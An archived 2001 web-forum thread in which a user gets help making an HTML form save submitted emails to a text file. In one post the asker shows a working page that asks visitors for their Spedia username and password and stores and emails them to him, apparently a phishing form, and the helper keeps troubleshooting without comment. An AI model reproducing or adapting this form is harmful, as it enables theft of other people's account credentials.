Click to See Complete Forum and Search --> : Input Textbox
Emo
Aug 19th, 2001, 12:15 AM
This seems very easy to do, but I can't get it to work...
All I want to do is to have a Text box and a button... So I ask the user to write their E-mail in the text box and press the button... then I need that E-mail, and all the other e-mails saved in a text file on my site...
I've done this before but for some reason I can't get it work on a different host than what I have it on....
Thanks...
-Emo
scoutt
Aug 19th, 2001, 12:03 PM
uhhhh...... a little hard to help you if you don't give us some code to see what the problem is. :D
Emo
Aug 19th, 2001, 01:42 PM
Sorry, I should've given you that....
<FORM ACTION="/cgi-bin/script_library/form_handler_file" METHOD=POST>
<p align="center"><font color="#990000"><b>Subscribe here!</b></font></p>
<p align="center"><font color="#990000">Your E-mail?</font><font color = "#FFFF00">
</font>
<INPUT TYPE="text" NAME="email" maxlength="30">
<font color="#990000">
<input type="submit" value="Subscribe" name="submit">
</font><BR>
<INPUT TYPE="hidden" NAME="end_display" VALUE="http://www.somewebsite.com">
<INPUT TYPE="hidden" NAME="required" VALUE="email">
<INPUT TYPE="hidden" NAME="order" VALUE="email">
<INPUT TYPE="hidden" NAME="savefile" VALUE="visitors.txt">
<INPUT TYPE="hidden" NAME="email_to" VALUE="emog13@hotmail.com">
</p>
</FORM>
I got this code from the Angelfire Library and it works in Angelfire, but I can't get it to work in F2S... I guess it's because of that <FORM ACTION="/cgi-bin/script_library/form_handler_file" lince... I don't know.. I think I'm supposed to use CGI-BIN with F2S...
Any help?
scoutt
Aug 19th, 2001, 01:53 PM
so you are not getting the output of htat form?
well just for giggles put the hidden inputs right above the submit input.
if you are suppose to use the cgi-bin on F2S then that is what you are in. take out the "/" in front of the cgi-bin. other than that I don't see anyhitng wrong.
what errors are you getting if any?
what does the output look like?
Emo
Aug 20th, 2001, 12:04 AM
Well, when I try it out, it doesn't make a file called "visitors.txt" like I told it to...
Second, if I use the code I posted in my earlier message, after I hit subscribe, it goes to a page with the URL: http://www.thewebsite.f2s.com/cgi-bin/script_library/form_handler_file
-Emo
scoutt
Aug 20th, 2001, 09:57 AM
I don't think I am getting the picture.
that code you showed me will not make a text file called visitors.txt. this input
<INPUT TYPE="hidden" NAME="savefile" VALUE="visitors.txt">
only make the variable "savefile" be = to visitors.txt. it does not make a file. and the action is what is suppose to happen.
Second, if I use the code I posted in my earlier message, after I hit subscribe, it goes to a page with the URL: http://www.thewebsite.f2s.com/cgi-bin/script_library/form_handler_file
that is suppose to do that, that is correct.
Emo
Aug 20th, 2001, 11:20 PM
Ok...
Take a look at this:
http://www.angelfire.com/sd/Emil/log.html
I used this code in there and it made a txt file with the user/pass. (You won't be able to see the source so.. here it is...
<FORM ACTION="/cgi-bin/script_library/form_handler_file" METHOD=POST>
<font color = "#FFFF00"> Your Spedia Username? </font>
<INPUT TYPE="text" NAME="username"><BR>
<font color = "#FFFF00"> Your Spedia Password? </font>
<INPUT TYPE="text" NAME="password"><BR>
<INPUT TYPE="hidden" NAME="end_display" VALUE="http://www.angelfire.com/sd/Emil/">
<INPUT TYPE="hidden" NAME="required" VALUE="username, password">
<INPUT TYPE="hidden" NAME="order" VALUE="username, password">
<INPUT TYPE="hidden" NAME="savefile" VALUE="spediaIDs.txt">
<INPUT TYPE="hidden" NAME="email_to" VALUE="emog13@hotmail.com">
<INPUT TYPE="submit" VALUE="Log In">
</FORM>
and when I log in my agelfire account, I have a text file called "spediaIDs.txt" with the info...
That's what I'm trying to do with F2S...
-Emo
scoutt
Aug 21st, 2001, 12:19 AM
what do you mean I won't be able to see the code, that was easy to decipher. :)
anyway....
I have never seen that a hidden input make a file. it might be an F2S thing, how they have it configure in the server, not sure
maybe one of the other guys will now as I have never heard of this.
are you sure that this doesn't need an extension
http://www.thewebsite.f2s.com/cgi-bin/script_library/form_handler_file.cgi or what ever
Emo
Aug 21st, 2001, 09:24 PM
what do you mean I won't be able to see the code, that was easy to decipher
:) aha
I have never seen that a hidden input make a file
Well, I wouldn't know, because like I told you, I got this code from the Angelfire HTML library so I just put it in and... well it worked...
I'll try that .cgi extention thing you told me...
Thanks!
-Emo
vbforums.com
Copyright Internet.com Inc., All Rights Reserved.